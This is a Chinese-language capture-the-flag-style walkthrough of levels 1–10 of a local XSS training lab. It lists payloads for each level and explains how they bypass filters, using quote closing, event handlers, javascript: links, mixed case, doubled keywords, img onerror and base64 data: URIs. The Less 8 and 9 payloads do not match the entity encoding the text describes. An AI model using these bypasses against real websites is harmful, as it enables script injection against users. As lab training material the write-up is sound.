xss的关键是寻找参数未过滤的输出函数
Less 1|
payload:<script>alert('xss')</script>
Less 2|
payload:"><script>alert('xss')</script>//
Less 3|
payload:'onfocus='javascript:alert(/xss/)
'onclick='javascript:alert(/xss/)
'onmouseover='javascript:alert(/xss/)
Less 4|
payload:"onfocus="javascript:alert(/xss/)
"onclick="javascript:alert(/xss/)
"onmouseover="javascript:alert(/xss/)
Less 5|
payload:"> <a href=javascript:alert('xss')> xss </a>
Less 6|
payload:"> <a HrEf=javascript:alert('xss')> xss </a>
Less 7|
payload:"oonnfocus="javascriscriptpt:alert('xss')
Less 8|
payload:javascript:alert('xss')
Less 9|
payload:javascript:alert('xss')//http://www.baidu.com
Less 10|
payload:<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
开始:
拿到源码放到phpstudy文件目录
登录localhost/xss/
Less 1
可以看到url中的test存在回显
将test修改为经典弹窗语句
payload:<script>alert('xss')</script>
Less 2
有一个搜索框,输入<script>alert('xss')</script>,发现直接回显到页面上,无弹窗
查看源码,发现<>符号被过滤,是由于服务器端用htmlspecialchars()函数把预定义的字符转换为 HTML 实体
但input中的value值没有进行过滤,所以我们可以从这里下手
payload:"><script>alert('xss')</script>//
构造闭合标签,左边的">用来闭合原来的",右边的//注释原先的">
Less 3
输入<script>alert('xss')</script>,产生回显,无弹窗
查看源码,发现value中的<>也被htmlspecialchars()函数过滤
此处value属性的闭合标签是单引号闭合
于是我们构造
payload:
'onfocus='javascript:alert(/xss/),输入进行搜索,之后在输入框点击或者Tab键即可触发弹窗
'onclick='javascript:alert(/xss/),输入进行搜索,之后在输入框点击即可触发弹窗
'onmouseover='javascript:alert(/xss/),输入进行搜索,之后将鼠标光标移动到输入框即可触发弹窗
Less 4
继续测试<script>alert('xss')</script>
查看源码,发现第一个回显位置<>被htmlspecialchars()函数过滤,第二个回显位置<>被替换为空格
此处value属性的闭合标签是双引号闭合
于是我们构造
payload:
"onfocus="javascript:alert('xss'),输入进行搜索,之后在输入框点击或者Tab键即可触发弹窗
"onclick="javascript:alert('xss'),输入进行搜索,之后在输入框点击即可触发弹窗
"onmouseover="javascript:alert('xss'),输入进行搜索,之后将鼠标光标移动到输入框即可触发弹窗
Less 5
继续测试<script>alert('xss')</script>
查看源码,发现第一个回显位置<>被htmlspecialchars()函数过滤,第二个回显位置的第一个script被替换为scr_ipt
输入"οnclick="javascript:alert('xss')进行测试,发现onclick被替换为o_nclick;同样,对"οnmοuseοver="javascript:alert('xss')进行测试,发现onmouseover被替换为o_nmouseover
因此,我们知道服务器端存在str_replace()函数,可以将script替换为scr_ipt,将on替换为o_n
因此,本关我们构造超链接
payload:"> <a href=javascript:alert('xss')> xss </a>
发现图中位置出现xss超链接,点击,通关
Less 6
继续测试<script>alert('xss')</script>
与第五关情况相同
测试"οnclick="javascript:alert('xss')和"οnmοuseοver="javascript:alert('xss')
与第五关情况相同
测试第五关构造的超链接"> <a href=javascript:alert('xss')> xss </a>,发现href被替换为hr_ef
尝试构造大小写混写
payload:"> <a HrEf=javascript:alert('xss')> xss </a>
当然,script采用大小写混写同样可以通过
值得一提的是:通过查看level6代码我们可以发现str_replace()函数将src替换为sr_c,将data替换为da_ta
1|采用字符src匹配,即<img>标签
?name=<img src=111 onerror=alert('xss')>
正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码
2|采用字符data进行匹配
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
这条语句和 javascript:alert("xss") 或者 <script>alert("xss")</script> 作用是一样的
今后如果script,on等关键字被过滤掉了之后,可以用以上语句进行尝试
Less 7
继续测试<script>alert('xss')</script>
查看源码,发现第二个显示位中script被删除
测试"οnclick="javascript:alert('xss')和"οnmοuseοver="javascript:alert('xss')
试试大小写能不能绕过,"> <a HrEf=jAvAscRiPt:alert('xss')> xss </a> //,失败
尝试双写关键字
payload:"oonnfocus="javascriscriptpt:alert('xss')
查看Less7源码,发现依然是str_replace()函数,把关键字都替换为空,但只执行一次,所以可以采用双写关键字绕过
PS:strtolower()函数的作用是将字符串转化为小写
Less 8
出现一个友情链接,继续测试<script>alert('xss')</script>
发现第一个显示位<>被替换为HTML字符实体,第二个显示位中script被替换为scr_ipt
测试" οnclick='javascript:alert('xss')和" οnmοuseοver='javascript:alert('xss'),发现"被替换为HTML实体字符
尝试实体化编码script中任意字符即可绕过
payload:javascript:alert('xss')
Less 9
继续测试<script>alert('xss')</script>
发现第一个显示位中的value值没有添加到第二个显示位中的href中
所以我们尝试构造一个合法链接javascript:alert('xss')//http://www.baidu.com,可以看到href中出现了value值,但是又发生了与上一关相同的问题
实体化编码script中的任意字符即可绕过
payload:javascript:alert('xss')//http://www.baidu.com
Less 10
发现搜索框无了
查看源码,发现三个input标签
构造代码 <script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现t_sort的<input>标签可以进行突破
payload:<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')